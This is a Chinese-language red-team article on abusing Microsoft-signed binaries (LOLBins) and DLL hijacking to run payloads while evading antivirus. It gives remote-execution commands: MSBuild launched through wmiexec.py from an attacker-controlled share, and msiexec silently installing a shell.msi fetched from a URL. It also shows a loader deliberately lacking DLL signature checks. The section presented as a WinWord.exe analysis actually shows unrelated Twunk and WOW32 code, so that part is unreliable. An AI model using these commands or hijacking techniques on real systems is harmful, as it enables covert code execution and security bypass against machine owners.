一、白文件利用原理概述
白名单程序利用起源于 “Living-Off-the-Land Binaries”(LOLBins),这个概念在 2013 年 DerbyCon 黑客大会由 Christopher Campbell 和 Matt Graeber 创造,最终 Philip Goh 提出。满足以下条件的程序可称之为 LOLBins:
- 带有 Microsoft 签名的二进制文件或 Microsoft 系统目录中的二进制文件。
- 第三方认证签名程序。
- 具有对 APT 或红队渗透方有用的功能。
- 该程序除正常功能外,可做意料之外的行为,如执行恶意代码、绕过 UAC 等。
本系列文章介绍了众多常见白名单程序,如 Rundll32.exe、Msiexec.exe、MSBuild.exe 等共 33 个,此外还有大量可利用的 LOLBins 程序,有些利用条件苛刻,有些用于下载而非执行 payload。对白名单程序的免杀效果因需结合杀软行为检测才合理,故这里不做评判。
二、代码示例及分析
- 带有漏洞的 LOADER(白文件)
#include "windows.h"
#include "iostream.h"
void main()
{
HINSTANCE h;
h = LoadLibrary("3.dll");
// 没有对当前的 3.dll 做 hash 和 sig 签名校验,需要对此代码进行二次开发。
typedef void (*SW)();
SW ShowMsg = (SW)GetProcAddress(h, "ShowMessage");
ShowMsg();
}
原始的 dll 文件(未被替换的 3.dll):
#include "windows.h"
void ShowMessage();
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
MessageBox(NULL,"2","2",MB_OK);
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
void ShowMessage()
{
MessageBox(NULL,"1","1",MB_OK);
}
这个示例中,3.dll 只有一个导出函数 ShowMessage (),用来弹出消息,同时 DllMain 函数会在被加载时弹出消息。
- MSBuild.exe
- 杀软行为检测:xml 能免杀时不会触发杀软行为预警。
- 执行方式:
- 本地加载执行:
%windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe <folder_path_here>\msbuild_nps.xml
。 - 远程文件执行:
wmiexec.py <USER>:'<PASS>'@<RHOST> cmd.exe /c start %windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe \\<attackerip>\<share>\msbuild_nps.xml
。
- 本地加载执行:
- Msiexec.exe
- 杀软行为检测:执行时杀软行为预警。
- 执行方式:msi 文件可以双击执行,也可以命令行静默执行,且支持远程下载功能,将 msi 文件上传到服务器,通过如下命令远程执行:
msiexec /q /i http://www.tidesec.com/shell/shell.msi
。
三、DLL 劫持技术与白利用结合
-
DLL 劫持技术概述
- Windows 加载 DLL 的规则:首先尝试从当前程序所在目录加载 DLL,若未找到则在 Windows 系统目录中查找,若还是没有则去环境变量中列出的各个目录下查找。
- 动态链接库(DLL)劫持原理:攻击者利用 Windows 加载 DLL 的规则,将需要劫持程序目录下的合法 DLL 替换成恶意 DLL。
-
DLL 劫持技术与白利用结合示例
- 分析一个被微软签名过的二进制软件 WinWord.exe 的示例。大部分情况下,程序开发者使用 LoadLibrary API 动态加载 DLL,该可执行程序首先将在当前目录中查找需要的 DLL。只需要将合法的 PE 文件复制到攻击者具有读写的目录中即可,如果攻击者创建了一个恶意载荷的 DLL,则合法的应用程序将加载该 DLL 并执行攻击者的代码,而且该 PE 可能已签名并且被安全软件所信任,由此可能绕过白名单机制。
例如分析 WinWord.exe 中的代码:
char __usercall sub_1005831@<al>(HINSTANCE a1@<eax>)
{
char result;
DWORD v2;
char v3;
if ( dword_1008040
|| dword_1008044
|| dword_1008048
|| dword_100804C
|| dword_1008050
|| hLibModule
|| hInstance
|| hWnd )
{
result = sub_1005532("Twunk --InitApplication - Application In Use\r\n");
}
else
{
hInstance = a1;
if ( (unsigned __int8)sub_1005552()
&& (unsigned __int8)sub_1005602()
&& ((hLibModule = LoadLibraryA("TWAIN_32.DLL"))!= 0? (v3 = 1) : (v2 = GetLastError(),
sub_1003E07(v2),
v3 = sub_1005532("Twunk --InitTwainDll - Load TWAIN_32.DLL Failed\r\n")),
v3 && (unsigned __int8)sub_1005716()) )
{
if ( GetProfileIntA("Twain", "Debug Mode", 0) )
ShowWindow(hWnd, 2);
else
ShowWindow(hWnd, 0);
result = 1;
}
else
{
result = 0;
}
}
return result;
}
以及:
713762E5 68 1C1F3771 push WOW32.71371F1C ; ASCII "msctf.dll"
713762EA FF15 58163771 call dword ptr ds:[<&KERNEL32.LoadLibrar>; kernel32.LoadLibraryA
713762F0 85C0 test eax,eax
713762F2 74 17 je short WOW32.7137630B
713762F4 68 0C1F3771 push WOW32.71371F0C ; ASCII "TF_CUASAppFix"
713762F9 50 push eax
713762FA FF15 5C163771 call dword ptr ds:[<&KERNEL32.GetProcAdd>; kernel32.GetProcAddress
71376300 85C0 test eax,eax
71376302 74 07 je short WOW32.7137630B
71376304 68 001F3771 push WOW32.71371F00 ; ASCII "COMLessCUAS"
71376309 FFD0 call eax
7137630B C3 retn